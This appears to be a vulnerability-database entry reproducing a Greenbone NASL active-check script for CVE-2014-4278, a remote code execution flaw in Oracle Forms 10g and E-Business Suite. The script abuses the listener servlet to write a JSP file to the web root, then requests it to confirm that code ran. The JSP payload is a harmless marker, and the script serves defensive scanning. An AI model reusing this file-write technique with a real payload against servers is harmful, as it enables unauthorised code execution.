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Oracle E-Business Suite/Oracle Forms RCE Vulnerability (Oct 2014) - Active Check

🗓️ 13 Nov 2014 00:00:00Reported by Copyright (C) 2014 Greenbone AGType 
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Oracle E-Business Suite/Oracle Forms Remote Security Vulnerability. The vulnerability can be exploited over the 'HTTP' protocol. Oracle Forms 10g contains code that does not properly validate user input. Updates are available

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# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105115");
  script_version("2025-11-12T05:40:18+0000");
  script_tag(name:"last_modification", value:"2025-11-12 05:40:18 +0000 (Wed, 12 Nov 2025)");
  script_tag(name:"creation_date", value:"2014-11-13 14:38:29 +0100 (Thu, 13 Nov 2014)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2014-4278");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Oracle E-Business Suite/Oracle Forms RCE Vulnerability (Oct 2014) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Oracle E-Business Suite/Oracle Forms is prone to a remote code
  execution (RCE) vulnerability in the Oracle Applications Technology Stack.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP GET requests and checks the
  responses.");

  script_tag(name:"insight", value:"Oracle Forms 10g contains code that does not properly validate
  user input.");

  script_tag(name:"impact", value:"The vulnerability can be exploited over the 'HTTP' protocol. The
  'Oracle Forms' sub component is affected.");

  script_tag(name:"affected", value:"This vulnerability affects the following supported versions:

  - Oracle E-Business Suite 12..6, 12.1.3, 12.2.2, 12.2.3, 12.2.4

  - Oracle Forms 10g");

  script_tag(name:"solution", value:"Updates are available.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/70475");
  script_xref(name:"URL", value:"https://blog.netspi.com/advisory-oracle-forms-10g-unauthenticated-remote-code-execution-cve-2014-4278/");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port( default:80 );

url = "/forms/lservlet";

res = http_get_cache( port:port, item:url );

if( "Forms Services" >!< res && "Listener servlet is up" >!< res )
  exit( 0 );

str = "xttest_";
rand = rand() + "_";

jsp = '<%25out.print("' + str  + rand + '".replace(' + "'x','v'" + '))%3bout.print(Byte.decode("0x2A"))%3b%25>.jsp';

url = "/forms/lservlet?ifcfs=/forms/frmservlet?acceptLanguage=en-US,en;q=0.5&ifcmd=getinfo&ifip=127.0.0.1,./java/" + jsp;

req = http_get( port:port, item:url );
res = http_keepalive_send_recv( port:port, data:req );

if( !res || "jsessionid=" >!< res )
  exit( 99 );

url = "/forms/java/" + jsp;

req = http_get( port:port, item:url );
res = http_keepalive_send_recv( port:port, data:req );

if( eregmatch( pattern:'Server Log Filename: ./java/vttest_' + rand + '42.jsp', string:res ) ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );

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12 Nov 2025 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 27.5
EPSS0.10444
289